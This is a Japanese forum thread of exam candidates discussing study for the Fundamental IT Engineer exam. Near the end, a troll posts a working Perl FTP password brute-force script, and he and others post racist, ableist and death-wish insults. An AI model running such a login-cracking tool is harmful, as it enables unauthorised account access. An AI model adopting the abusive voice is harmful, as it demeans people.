VBって何でプログラミングのテストの対象になってないんだ？

このスレで言うのもなんだけどもっとベンダー系資格を評価してやればいいのに

VBはない、表計算もないけど

>>764
アイパスはこの前補正で合格した。
たぶん4月合格は無理だなこの分だと・・・
午後の勉強は全然やってないから未知の世界だし。

>>768
まあまだ90日ちょいあるよ
それに無理に今回受けずとも秋だってあるしさ

午前問題に時間かけてるやつって何なの？
あんなもん暗記で充分だろ。午後の問題やってれば知識は自然につくのに。

CCNAとらなくてもperlやってればネットワークの事が頭にはいりますからね
Linuxも導入してみていじってみればいいじゃないですかねぇ？
アクセス権のことや色々身に付きますよ
あとは脳味噌発達として妄想＋ハッキング映画もモチベーションを保つ上でも必要ですね中2くさいですがね
socketなどlistenなどTCP/IPもなあ？
ソフトウェア開発にこの基本情報資格は役に立つか？
基礎理論の上では多少の用語は必要ですね　まあ持ってないよりか持ってた方が良いですけどね
実務にはゴミですね　プログラムの本よんだり独学だけで十分仕事できますからね
なのであまり役に立たないですね

最近はクラウドとかユビキタスとかバズワードらしき物がはやってますけどね
ぼくは便乗しないんでね
便乗してるバカはRuby on railsとかやってればいいですよ
perlでいいんですよねぇ資料も多いし。
バカがハッカーPythonだと勘違いしてるようですが
英語圏の言語を黄色人種が使ってもバカなんですけどね
ルーターいじったり、パケットフィルタリングしてみたり自鯖運用すればそれなりに知識もつくでしょうねぇ
基礎理論は多少できてればいいんですね

っで君はマスゴミに踊らされて、英語やコミュニケーションとかほざいてるバカですか？
今不況？君、逆境？このやろう馬鹿やろう！
バカはバカなりに踊らされれば良いんですよ

今は不況らしいので資格とかの団体が安定ですね
通常通り金もらえますよ教える側は
不況→就職できない→資格→スクール・塾

あと英語やってるやつはバカですね
英語やるならプログラミングやればいいんですがねえ
日本にいるなら英語なんてあまり使いませんがね　マスゴミの影響で英語が使えれば金になるとかな
正直帰国子女あたりじゃないとつかえないですね
だいたい単語の読み書きできればいいんですがねｗ

>>769
まあやれるだけやってみるけど俺の場合は取れるとしたらたぶん秋だな。

あとコミュコミュほざいてるバカ企業がおおいですね。
コミュニケーションがとれるって成人まで生きてきたんですから普通に挨拶とか受け答えできますねぇ
できないとしたら障害者とかでしょうねぇ

IT業界にコミュはいりませんねぇ
技術力とやる気とアイディアだけですよ
コミュニケーションとかうたってるバカ企業はありがちの世間体気にしてるゴミ企業です
パソコン＝ネクラオタク企業とみられたくないためにコミュコミュほざいてるんでしょうね

あと漢字がかけないとかほざいて勉強してる人もいますね
ITの時代なので電子辞書かケイタイで変換かパソコンに任せれば良いじゃないですか
マスゴミの影響で漢字検定とかやってるバカいますよね
あたまの悪い連中です儲かるのは漢字検定を開催してる団体だけですよ
とりあえずバカは自分なりの考えもってくださいよ

雑魚がコピペ乙とかほざくんでしょうがｗ
>>761
そういうハッカー方面

日本での場合はハッカーでもクラッカーでもどっちでもいいんですよ
よくいますねぇ　ハッカーじゃなくて悪いのはクラッカーとかほざいてるやつは
日本の場合世間一般ではハッカー＝クラッカーなので同じですねえ

>>763
無能総当りアルゴリズムでハッカーとか何の冗談て話だよｗ

何もアイディアも思いつかないバカにいわれたくないですねえ
だいたいは総当たりで潰せるんですがね
力づくでいいんですよ

タイピングつかれましたねえ

当たり前の話だが上流ほどコミュ力の比重が高くなるからな
最近は上流の仕事ですとかいってただの営業やらせる派遣が流行ってるらしいし

758って結構リアルにすごそうだな
意外と言ってることが納得することばかり。
一般人とは少し違うところがあるな。

下請け専用の会社がコミュ力コミュ力いってると笑えるのは確か

ネットワークはまだ残るだろうけど
linuxのサーバーとかに詳しい人はクラウドでいらなくなっちゃうんじゃないかなぁ
少数のクラウド提供する側だったら要るけど

だが何故基本情報のスレに来てしまったんだ

一生技術者でいたいなら独立するかベンチャーに入るか
案件型の仕事では最終的にPMになってもらうために
正社員として雇う

俺みたいな人間は仕事できますかね？
現在高3です

ベンチャーのwebプログラマーとか
サーバーエンジニアとか合いそう
受託開発のSEは合わなそう

後はセキリティエンジニアとかか

うわぁマジで基地外っぽい
このスレ閉じてほとぼりが冷めるのを待とう

かまって君はほっといて勉強しろよ

>>781
ベンチャーは正直やりたくないっすね。
自分の実力を知っているので自分の腕でそこまでできそうにないんでね
受託開発のSEってなんですかね

てかSEっていう、おままごと的な役割が嫌いなんですがね
PGでいいじゃないですか、あと設計とかありますよね？ｗ
設計とか無駄じゃないですかねｗ外部設計とか内部設計とか
時間の無駄なきがするんですがね
そのまま話あってコード書いて作った方がいいんですがね
バカみたいに規約付くって、SEおままごとすきですね

SEとかPMとか正直なりたくないですね
出世と金のためだろ
コード書いてた方が楽しそうですがね
金より楽しいことをやりたいんでねぇ

基地外オタクがもてはやされるアメリカ西海岸のIT
お宅じゃ駄目な日本のゼネコンIT業界

>>768
補正合格組か…
まぁ基本情報の勉強でｱｲﾊﾟｽ範囲合格してるから
復習のつもりで今回はしっかり覚えた方がいい

前向きな言い方じゃないが落ちても半年後に受ければいいだけの話なんだから
気軽に考えた方がいいんじゃないでしょうか？

おまえら、IT業界()にはいったら>>758みたいな連中と
まじで一緒に仕事しないといけないんだぞｗ

ttp://jibun.atmarkit.co.jp/ljibun01/cs/200912/05/01.html
いままでどおりの人月ビジネスのSIerか
顧客のパートナーになる開発と設計もできるSIerか
後者はちゃんと大学とかでてないと駄目だろうな

>>788
こういった奴は、運良く入社できても孤立して自滅するから安心しろよ

今季がおわっても>>758はここにしがみついてるに一票
そして応用スレにはあらわれないにも一票

おまえら・・・俺猫本おわったぞ
勉強しろ

こみゅか　ってなあに?

>>792
本当の地獄はこれからだ（AA略

伸び悩む午後の勉強

>>792
ﾏﾀｰﾘｲｺｰﾖ

猫本おわったから翔泳社のテキスト読みつつ精選予想400題行く予定
午後勉強はどれ使ったらいいかまったくわからんな・・・

>>795
2時間かけて選択問題一問解いて、全問不正解だったときにはさすがにモチベーション下がるわｗ

そういや俺の猫本21年度版なんだけど22年度版と内容って違うのかな

俺がIT業界はいったら
低能どもと仕事をするのかｗ
ケトルベル60kg

2日間勉強さぼったらやる気が一気に消えるのは仕様ですか？

>>801
そういうときは復習から始めるといいさ

4時間寝るつもりが24時間寝てしまったorz

>>803
ナマケモノを超えたな

>>800
センター試験のできが悪かったからってそうむきになるなよ。

>>800
はやくIT業界に来て涙目になって逃げ出してよ。
捨て台詞は私が低脳でした！だぞ。約束だぞ。

基本情報のやつらって勉学バカばっかりだよな
教科書通りの脳単ばっかだな

>>768
午前に関して言えば、テクノロジ系以外はFEの方がIPより難易度低いだろ。
午前で音を上げてるようじゃ午後で爆死するｗ

>>758
よく吠えるは犬は何とやら、、、だな

どうやら805が図星を突いたらしい
コードばっか書いてて学校の勉強を疎かにしたんだろ？
教科書通りに勉強してこなかったお前が悪いんだよ

忠告しておくけど
高卒のプログラマーって底辺中の底辺だぞ

>>810
え？高卒のプログラマなんて存在するの？

逆だよ。
ビルゲイツは高校生のときから、友人のポール・アレンとともにトラフォデータ社を創業し、州政府に交通量計測システムを納入したり、
オレゴン州ポートランドの会社の、COBOLでの給与計算システムの作成を手伝ったりしていた。

大学中退したけどやっぱりIT系目指したくなってる
今はすねかじりでなんとか生活してるけどこんな状況抜け出したい
基本情報が直接就職の役に立つとは思っては居ないけど、勉強するきっかけにはなるよなぁ
俺みたいな境遇の奴いねーかな・・・

>>812
特殊な人間と一般人を引き合いに出されても説得力ないよなあ
学校行かずに図書館で勉強すればエジソンみたいになれるって言ってるようなもんだ

>>814
特殊な人間とか考えるのでなく、その業界の頂点の人物がどういう人物であるかを知るのはとても大切な事だとおもうよ。

>>815
伝記を読んで夢を見るのもいいけど、たまには現実も見つめようぜ。

Linuxの新しいディストリ書いたんだけど使ってみてよ
オブジェクト指向の考え方をひっくり返すような新しい言語考えたんだ、とかいうレベルならまだしも
perlでブルートフォースアタック（笑）だからなぁ。

それで基本情報がアウトオブ眼中とか言ってるんだから
俺に失笑するなと言っても無理だよｗ

そ、そんなにハイレベルなのか…この資格って
午前問題見たら意外にいけそうだと思って
余裕かまして来月から午後やればいっか
って思ってたらガクブルしてきた…

>>818
気づけたなら後はやるだけだ

ちょい質問

今日猫本とやらを買ってきて、
明日から毎日2〜4時間ぐらいのペースで勉強していくつもりなんだが
このペースで間に合うかな？

一応先月SJC-P取ったばっかだから
言語関係の勉強時間はかなり短縮できるとは思うけど

>>820
300時間でとれる資格とされているからいけるはず

猫本だけ買いました
問題集がないと勉強しづらくて問題集欲しいです
午後対策とかって本ありますけど午前は猫本だけでこと足りるってことですか？

あうあーーーーーーーーーーーーーーーーー

test

>>822
午前だけなら>>1のテンプレにある過去問で充分。
俺も猫本買ったけど、午後問題を解くための役に立たなかった。

>>825
ありがとう
とりあえず過去問買わないとはじまらないですね

あれ、午後って午前ベースの応用・長文じゃ

>>827
そんな風に考えていた時期が俺にもありました

猫本だけやって、春期に落ちた私が規制解除されましたよっと

この試験過去問マスターしても落ちる可能性あるの？

マスターってのが分からんが
ほとんど解けるのなら受かると思うよ
過去問が解けるのに落ちるなんて勉強する意味が分からん

>>821
ん、ありがとう。
明日・・・ではなく今日から頑張るとしよー。

にしても午前の勉強って暗記物ばっかりになるのかな？
えらく範囲広そうで嫌だな。

>>831
確かに変な質問だったかもしれないｗ
どうもです

>>830-831
確かにﾏｽﾀｰの意味合いによるよね
本当に理解したことをﾏｽﾀｰと言ってるなら落ちるわけがない

ストラテジ系が難しいよ、今のままだとテクノロジは8割くらい取れそうだけどストラテジは2割くらいかな

>>808のいうように午前に関してはﾃｸﾉﾛｼﾞ系以外はﾊﾟｽﾎﾟｰﾄより難易度低いよ

これって午後だけで何％位できないと受からないの？

>>837
IRT方式が廃止になったから純粋に午前午後6割取ればおｋ

>>838
まじで？
奇跡的に午後が5％位合ってたとして午前が55％出来てたら受かってしまうのですか？
生きる希望が沸いてきた。。。

午後はひっかけ問題多すぎ。すんなり答えが出たりすると、こんな素直に答えが出るはずないって
変に勘繰って、かえって間違える。
かといって、深読みしないと引っかけにまんまと引っかかる。人間不信に陥りそうだ。

>>839
違うと思うぞ…

午前6割、午後も6割必要ですよ・・・と・・・

>>837
案内書に書いてあるから、読めや

>>843
ありがとうございました。
しかし
午後ってどんな配点なのかがわかりません。

そろそろ学校終わってくれるから毎日この時間までがっつり出来るようになるから嬉しいわ

文系の経済以外の学部でてプログラマーやってたら
高卒プログラマーと変らないんじゃねえの？

>>813
バイトしながら基本より簡単な資格でも何かしら取って
面接行くとか
下請けならどうとでもなるんじゃないの
それでも20代後半は無理だろうが

底辺で食っていくには
ネットワーク技術者とか電気工事士のほうがいいような気もする
PGとかおっさんで言語できますデーターベースできます言っても
捨てられるだけだからなぁ

このスレの住人ってそんな底辺が多いの？

資格のレベル的にMARCH以上の大学生とか結構いそうだけど

おいおい明らかに簡単な資格だろこれ
一番多いのが専門学生だろうな

なんだか夢はでっかくなのが多いねぇココ
小規模なIT会社で簡単な事務+テスト兼務のアシストっぽい位置狙いだよわたしゃ

逆じゃない？
おっさんは、昔からのシステムの構造とかを全部理解できてるから、
システムの保守は、おっさんに任せておけば安心だもの。
ネットワーク技術者とかは、移り変わりが速い分野なんで、その時々に若い人にやらせておけばいいんだし。

MARCH以上の大学生だけど受かるか微妙

ネットワーク技術は１０年ぐらい変らない
言語とかは５年ぐらいで全部変っちゃう

>>854
CCNAの参考書の厚さは年々どんどん増してると思うのは気のせいか？

難問にぶち当たって、答え間違えまくって、解答が6Pぐらいあるからやる気無くした・・・

だれかやる気をくれー！

午前問題だとあんまり無いけど、午後問題だと、ひとつの問題の解答探るのに数日かかることもあるよな・・・
あれ、俺だけ？

>>856
遊びまくってるリア充が将来就職に困ることを想像すればおｋ

>>856
http://viploader.net/ippan/src/vlippan057227.jpg

>>855
確かに厚くなっているが技術的なものはたいして変わってないと思う
IPV6にせよ無線LANの規格が増えるにせよそれまでの技術があれば問題にもならない

さてと、、二日ぶりに勉強でもしましょうかね

CCNAは内容改変で分厚くなってるってよりは、不親切だったものが親切になったから解説が
長くなったって感じだな

表計算対応の参考書を教えてください

ふぅ。ｱﾙｺﾞﾘｽﾞﾑ本を6ﾍﾟｰｼﾞ理解して読むだけに1時間かかったぜ^^;
試験まで絶対間に合わないな

よくわかるマスターが表計算のも乗ってたっけ
でもあれ出来はどうなん

私だけかね？アルゴリズム捨てて合格しようと思っているのは

>>866
他の箇所をほぼ完璧に解答できる自信がある強者なら
ｱﾙｺﾞﾘｽﾞﾑを追加して学ぶくらい楽勝じゃないのかと…

アルゴリズムできない人間は仕事何もできなくなるけどな

>>868
ﾌﾟﾛｸﾞﾗﾑに主体を置くならば確かにそうなる。
むしろﾌﾟﾛｸﾞﾗﾏになりたい奴がｱﾙｺﾞﾘｽﾞﾑ捨てるという心境がわからない・・・

ちなみに俺はNEなのでﾌﾟﾛｸﾞﾗﾑの基本だけを知りたいから受けるのです

俺もNE志望だわ、頑張ろうな、俺今ゲームしてるけど

俺もNEET志望だわ

NE志望っていうけどカスだろ
かわいそうだな

NEに関係ある資格
CCNA、CCNP
LPIC1、２
基本情報
ネットワークスペシャリスト

ネットワークの専門家になれるのはいいな
PGとかSEとかは何でも屋で人間性が大事だからなぁ

開発してるところなら
アルゴリズムとかプログラム分からなきゃ
コミュ力だけあっても怒鳴られて辞めていくわ

NEだからNEのことだけしてたらいいなんて思ってたら会社からすぐ捨てられるぞｗ

俺は運用系一筋だからプログラムは直接関係無いんだよな
表計算にするかそれとも学生時代に少しかじったCでチャレンジするか迷いどころだ

何故人はコミュニケーション能力を求めるのか。
何故人は中途半端を嫌うのか。

マスゴミや大手企業の影響受けてるゴミばっかりだな。
成人なんだから会話できるだろ。
明るい職場です！わきあいあい
コミュニケーション能力があるかた！
痛い宣伝文句多すぎですね

人は不完全だから完璧を求めたがるんだろうな

今現在は全くの無知で、最終的にはウェブデザイナーになりたいんだけど
これ極めてからウェブデザイン行ったほうが良いのかな

そりゃサーバのこととかアプリのこととかもやらないといけないだろうけど
SEみたいにプログラムは全部外注できるから
プログラムしかやらない人間はいらんみたいにはならんだろ
NEは上流に行かなくても一生できる仕事だろ

>>878
お前は適正ないだろ。
適正があるやつは、すでにガキのころからWEBサイト作ったりしてるだろ。
お前みたいな度素人は習い事をすればなんとかなると思ってるカスなんだろうな。

すでに今からなりたいって言ってる時点でカスデザイナーだろ。

ウェブデザイナーはIPAの資格は関係ないな

>>869
アルゴリズム、プログラム捨てる奴なんていくらでもいる
プログラマーなんて30歳までできないし

適正わろた
お前スポーツ未経験だろｗ

かまうな

>>882
プログラマっていうのは年寄りのほうが優れてるしな
50~70まで余裕だろ
若い方が知識も無いしダメ
日本は世間的風潮に流され過ぎだからな

SEとかくだらない　おままごとやってないで全員プログラマでいいだろ。
お前等みたいなカスが30代説をほざくから企業が真似して30代で切り捨てって場合があんだよ。

この国は権力者の言ったことを真似したがる風潮があるからな。
クラウドとか見える化が流行る理由はそれ

ウェブデザイナーはセンスが一番重要なんで、
資格とかでなく、ちゃんと美大とかでデザインの勉強をした方がいいはず。

　　　＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　　　||
　　　||　2chの鉄則　【　荒らしは無視・放置　】　しましょう。
　　　||
　　　||　★ 荒らしは放置されるのが一番苦手です。
　　　||　　　→ ウザイと思ったらそのまま放置！
　　　||　▲ 放置された荒らしは煽りや自作自演であなたのレスを誘います。
　　　||　　　→ 釣られてレスしたらその時点であなたの負け！
　　　||　■ 反撃は荒らしの滋養にして栄養であり最も喜ぶことです。
　　　||　　　→ 荒らしにはエサを与えないで下さい！
　　　||　☆枯死するまで孤独に暴れさせておくのが一番です。
　　　||　 　 　 　　 　 　 ∧ ∧ 　 。
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基本情報のＤＳソフト買ったが・・・午後問題ついてないし計算問題とか手軽にできないって・・・

>>888
ああ、あったねそう言えばそんなのｗ
範囲は午前問題までか

FOMの基本情報技術者試験のテキスト買ってきたけどわかりにくい
ITパスポートはFOMで合格したからこれでいけると思ったのに・・・。

あんまり売れなくても黒字になりそうで羨ましいす

去年の秋の試験で落ちて春の試験受けようと思ってるんだけど…
去年買った21年度秋の猫本使ってても問題ないかな??

落ちたということはその本に何かしらの問題があったのでは？

その発想は無かったわ

猫本に問題とな

本は合う・合わないはあるだろうが・・・普通に考えたら勉強不足が原因だろうに

今年出た本買うのは金がもったいないから去年使ってたやつを再利用しようと思ってるんだが、大丈夫だよな??

大丈夫だよ。根拠はないけどな

猫本は個人的にあんまり合わなかったので別のやつでやってる
後で一応目通すけど

>>888
お前みたいな情報弱者がいるからIPAとかが儲かるんだよ
わかれよばかが

>>900
お前は誰と戦っているんだ

頭の悪い低能と戦ってるんだよ。
勝てない奴ってあれだよな、すぐムキになるとか誰と戦っているんだとかいうよな。

perlやってるやついるか？
やっぱり低能だからCASLやってますとかほざくんだろうなｗ
CASLは試験向けの言語だろｗ

面接官「プログラミング言語なにできますか？」
低能「CASLでさまざまプログラムを作れます」
面接官「プハッｗｗ（苦笑）」

面接でCASLやってるとか言ったら失笑物だろｗ

来週の日曜に午前試験がある。
受ける予定の人は頑張ろうな。
受けない人も今から着実に春試験受かるように頑張ろう。

午後はこれでいくぜ
文句あっか

http://www.amazon.co.jp/gp/product/images/4774141453/ref=dp_image_0?ie=UTF8&n=465392&s=books

ITパスポート合格したんで次にこれ受けようとしてテキスト買ったんだけど難しすぎる
難易度違いすぎだお(´・ω・`)

>>906
もし、午前の教科書だけをみて難しすぎると言ってるのなら100％無理だな…
でも、多分だけどしっかり進めていけば理解できると思うからﾁｬﾚﾝｼﾞ汁!!

午前教科書の最初の方にある基礎理論とｱﾙｺﾞﾘｽﾞﾑは難しいからそれに惑わされてくじける人多いだろうなｗ

さて、、勉強するか

>>902
perlやってるけど、なぜこのスレで上から目線なんだ？
もしかして有名人？あったことあるかな。

疑似のアルゴはむずいな

konozama・・・まだDSとどかねーぞ・・

>>905
アイテックはやっつけだったから
こういうシリーズになってるほうがいいのかな？
それとももういっそMOSの奴とか

モスか・・・

なんかマックのテキサスバーガーが話題らしいけどな
マックは大嫌い

>>912
MOSAみたいに痛い団体だな

マック行ってる奴だって、金があるならモス行きたいだろ
それとも、あえてマックに行ってお金浮いた分何かに使うのかな

＞マック行ってる奴だって、金があるならモス行きたいだろ
なぜ？

テキサスバーガーって普通のセットで７００円以上するよね？

>>915
別に

>>915
好みによるんじゃね？
俺に言わせてもらえば、モス指示派は　高い=うまい　
の先入観があるだけじゃないかって思ってるｗ

>>916
世間一般的にマックよりモスのほうが味、品質的に上だから行きたいんだろ？
行きたいか行きたくないかは、人それぞれってほざいて終わらせようとするな？
とりあえず氏ね

>>915
マックの味のほうが好きなんだが

おまえらくだらんこと言ってる暇あるんか？
残り3カ月間だぞｗｗｗ

>>920
スレ違い氏ね

一方俺はsubwayに行った。

>>922
スレ違い氏ね

好きなファーストフードの話は他所でどうぞ

つまりマックでDSで勉強しろって事か。

>>922
33才ニート
いくらでも時間はあるわいｗｗｗ

JavaもCも飽きたからCASLやってますが。

大胸筋と上腕二頭筋が筋肉痛なんだけど
君等はアームカールとベンチは何kgできるか？
俺はアームカールが反動ありで50kg
ベンチが105kg 1rep 60kg 20rep 70kg 15rep 75kg 10rep
勉強全然してないんだが

Amazon.co.jp：仕事ができる人はなぜ筋トレをするのか (幻冬舎新書)

って本はクソだと思うが見てみたいんだがどうすればいいんだ？

>>930
激しくスレ違ｗｗ
ウエイト板でやってくれ

あぶね　竜馬見忘れるとこだったｗ

>>930
図書館でだれにもバレナイように立ち読みしたらいいんじゃない？

>>932
おれはハイビジョンでもうみたぞ

>>909
Perl使える程度で上から目線になれる奴なんて、業界基準でも大したことないから安心しろｗ
面談でも「すんまそ、スクリプト言語しか書けなくて、PHP？Python？書けましぇんごめんなさい
と小さくなってるのがオチ。雑魚すぎる。

>>935
PHPとか雑魚だろｗ
PHPでDB扱えて、perlではDBを扱えないチンカス以下だなこいつはｗ
カスばっかだなPython?あえてドキュメントの少ない英語圏のPythonをやる理由がわからないなｗ
wikiにNASAが使ってるっていう影響を受けてPythonか？ｗ
ネットの記事の影響か？首くくって死ね

>>935
>>936
チンパンの争いはやめような

>>936
誰にも認めてもらえないからネットで暴れるしかない寂しい人生ですね^^　生まれてこなければよかったんじゃね？ｗ

>>935
PHPとPythonもスクリプト言語だろ
バカ乙
低能がにじみ出てるなコイツはｗ

おまえら落ち着け
スパートかけるのはもう少し先だ

お前ら深呼吸して落ち着け

もまいらって本当に面白いよな
職場が全員お前らみたいなやつらだったら本当に癒されるんだけど…

息を吸うように嘘をつく
むなしい人生

実際社会出てみると本当にスゲー奴いるからなー。
身の程知らずにも上から目線とかｗ　勘違いしていた過去の自分を殺したくなるだけでしょ。

まあ、なんか態度だけは凄そうだけど
ハッタリで生きてるようにしか見えない奴もいるのも確かだけどねｗ

ITは片意地張らずに気楽に生きる術を持ってないとしんどいよ。

てか協力し合おうぜ

どんだけ他人を出し抜けるかが重要

【重要】

このスレには基本情報処理技術者試験に合格している方は書き込まないで下さい
資格取得に向けて頑張っている受験者一同の総意です

暇つぶしに書いたんだがねperlで
#!/usr/bin/perl
use FileHandle;
use Socket;
use Term::ANSIColor qw(:constants);
use Getopt::Long;
$flg=0;
$in=GetOptions('h=s'=>\$host,'i=s'=>\$idfile,'p=s'=>\$passfile);
&err("fc.pl -i [idfile] -p [passfile] -h [host]") if!($host and
$idfile and $passfile);
open FH,"$idfile";
while(<FH>){
chomp($user=$_);
open PH,"$passfile";
while(<PH>){
chomp($pass=$_);
$port='21';
$ip=inet_aton($host) or &err("Not host");
$adapu=pack_sockaddr_in($port,$ip);
socket(SOCKET,PF_INET,SOCK_STREAM,0);
connect(SOCKET,$adapu) or &err("Can't Connection");
autoflush SOCKET (1);
print SOCKET "USER $user\r\n";
print SOCKET "PASS $pass\r\n";
(undef,undef,$buf)=<SOCKET>;
if($buf=~/^530/)
{
print RED "\n530 login failed\n",RESET;
last;
}

>>946
という態度が表に出ると結果的に敵を増やすから君自身が短命になる

if($buf=~/^230/)
{
$flg=1;
$okusr=$user;
$okpass=$pass;
print YELLOW "\n230 login success\n",RESET;
last;
}
print "\rUSER:$user\n";
print "PASS:$pass\n";
close SOCKET;
}
}
close FH;
close PH;
print "\n\033[44m+----------------+\033[00m\n";
print "\033[44mlogin success\033[00m\n" if $flg;
print "\033[44mlogin failed\033[00m\n" if !$flg;
print "\033[44mUSER:$okusr\033[00m\n";
print "\033[44mPASS:$okpass\033[00m\n";
print "\033[44m+----------------+\033[00m\n";
print "\033[00m";
sub err{
print STDERR "@_\n";
exit;
}
#cracking script
#2010/1/17 ver1.0

低能ばっかりだわ
会話が噛み合ない。
基本情報無しの俺が書きますた。

今までの難しかった頃の過去問はほとんど合格点いってたのに新制度になってからダメだ・・・
午後は問題選べるからどれ解いたほうがいいか分からなくなって自滅するわ

ログインに成功したIDとパスを書き込んだ方がいいな
あとで改良しとくかｗ
資格持ちなのにこれもできねーのか？ｗ死ねば良いがな

竜馬終わったから勉強再開

>>934
え？20時前にやってるの？

>>all
めんどいのはｽﾙｰしましょ

べつにいんじゃねーの
時間を無駄にしてる様をみるのもぶっちゃけ息抜きになるし

ん？パスクラスクリプトか？
すげ
てかCASLオワタ

Webデザインは趣味でやる方が面白いと思うよ

組み込みの高度以外文系のほうがIPAの資格は取得者数多いからな
技術はつかないんだろうな

>>956
すごいか？ｗ

なんか短いね
プログラム知らんけど

proftpdの脆弱性発見して書いたやつあるけど、これは見せられないんだがねｗ
これは脆弱性データベースに追加したほうがいいのかなｗ

下請けSE目指して表計算選択がこのスレの平均的受験者

>>961
お前他の事やった方が自分の為になるだろ・・・
ここに居るべきじゃねーよ

こいつはそのうち逮捕されるに一票ｗ

俺は基本情報技術者持ってないんだがねｗ
午後問やったが50点だったわｗ受かるきしないんでねｗ

FEなんて通過点に過ぎないだろ。
こんなスレで煽っても全く意味なし。向上心あるやつは応用・高度を視野に入れて勉強してるんだよ。

>>966
おまえみたいに喰いつく奴がいるから煽って楽しい=意味あるんじゃね？
ｽﾙｰしろ

>>967
おまえもスルーしろよｗ

>>950
ぶっちゃけ俺みたいなプログラム素人にはさっぱり解らんが
コレだけは何となくわかる

実務経験者というよりこれからそれらに関わろうとする人間がほぼ多数を占めると思われるこんな資格スレで
己のスキルをさも誇らしげに自慢している様な奴が大したスキルがある奴とは到底思えんし、人格的にも相当器が小さいとも思われる
というかスレ違い甚だしいと思わんか？それとも自分より弱い人間にしか威張れないタイプかい？
自分のスキルを試したいなら、お前と同じ様な仲間や人間がいるスレでやれば良いだろ・・

それとも晒したり試すほどのスキルも知識も到底足らないからこんなところで自己紹介してるんちゃうやろな？
それともそんなお仲間からも相手にされてないとかか？

こんなところで威張り散らしている暇があるならケツに鉛筆ぶっ刺してお百度参りにでも逝ってこいや
ほんの少しでも良いから頭が良くなりますように、、、、、てな

基本情報技術者試験

>備考
>本試験は情報工学に関連するエンジニアの実務においてベースとなる。
>システム開発会社ではこの試験に合格することが技術者の必要最低限の資格として重要視される
>ことがあり、入社3年程度以内に取得することを推奨される（取得できないようでは、むしろ問題視される
>こともある）。
>その上で、応用情報技術者試験など、上位の試験合格を目指すキャリアパスになっている。

(wikipedia)

そういう口だけで喧嘩に勝とうとするタイプ嫌いだな

みんな違う土俵で勝負してんだから、何のために基本情報を勉強してるのかも全然違うだろ

何気に良スレ

はいはいｽﾙｰｽﾙｰ
煽ってる奴も煽られてる奴もみんなｽﾙｰね
そろそろ１０００いくよ〜

950って>>758と同一でしょ？
まだ居たの？

ところで試験中は時計じゃなくてｽﾄｯﾌﾟｳｫｯﾁじゃ駄目なのかな？

っ次スレ

基本情報技術者試験 Part274
http://namidame.2ch.net/test/read.cgi/lic/1263734812/

落ちたしｗｗｗ

午後問題ってやればやるほど不安になってくるよな。特にプログラム設計

猫本がそろそろ終わりそうだ。
そろそろ次のみや子に凸せねばならんのだけど…
この本はどの位で終わらせないとダメなんだろう

DSでやってる
これ一本で受かってみせるからみてて！

>>981
無茶だろｗ
Iパスだったら受かるかも知れないけど・・・

>>981
受からせねーよ
こっそりDQ9に入れ替えておくｗ

ユーキャンのフミダスムービーもう観た？
あれ何気に面白いね

>>981
俺もそれ買ったが
これ1本じゃ厳しいな(´・ω・｀)
現に午後問題が対応していないし＾＾；

>>980
アルゴリズムはソート・探索法のあたりで中だるみ状態になりそう。
俺の場合、1ヶ月は足踏み状態。

FOM出版のだと表計算とアルゴリズムまで乗ってるから一冊で済みそうだが
猫本のほうが遥かにわかりやすいな･･･どっち買お

>>987
猫本だけじゃ足りないぞ
ホントだぞ
実体験談だぞ

>>984
今、佐藤隆太のやつ観てきた。
CMだとよくわからんかったが小力はアシカだったのね…。

>>986
�d
やっぱりそう簡単ではなさそうだね。
買ってあるけど初っ端からﾓﾁﾍﾞｰｼｮﾝが下がりそうだったからまだ1回も目通してないんだよね…orz

基本情報ってかなりメジャーな資格なのになんで定評のある参考書が少ないのよ

猫本一冊とかありえないだろ。
猫本＋午後参考書＋午後問題集＋アルゴリズム＋言語参考書＋言語問題集＋その他資料
↑これでさえ不安だってのに。

DS俺も買ってみたけど、図形の問題が１問も収録されてないぞｗｗｗ
だけど一問一問解説がスマートで一問一答問題集とかが好きな人にはむいてると思った

>>992
さすがにびびりすぎだろ・・・

>>992
人生においての重大受験ってわけでもないんだから
ﾘｽｸ保有くらいがちょうどいい

アルゴ本のおすすめってどれですかね

一応勉強してるんだけど初めてで試験の全貌がよくわからん
過去問丸々一個見れるとこある？
選抜された過去問はやってるけど、全体がどんな感じかわからなくて勉強の仕方合ってるか不安

>>997
>>1

1000なら自宅警備士2級合格

1000なら全員合格

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もう書けないので、新しいスレッドを立ててくださいです。。。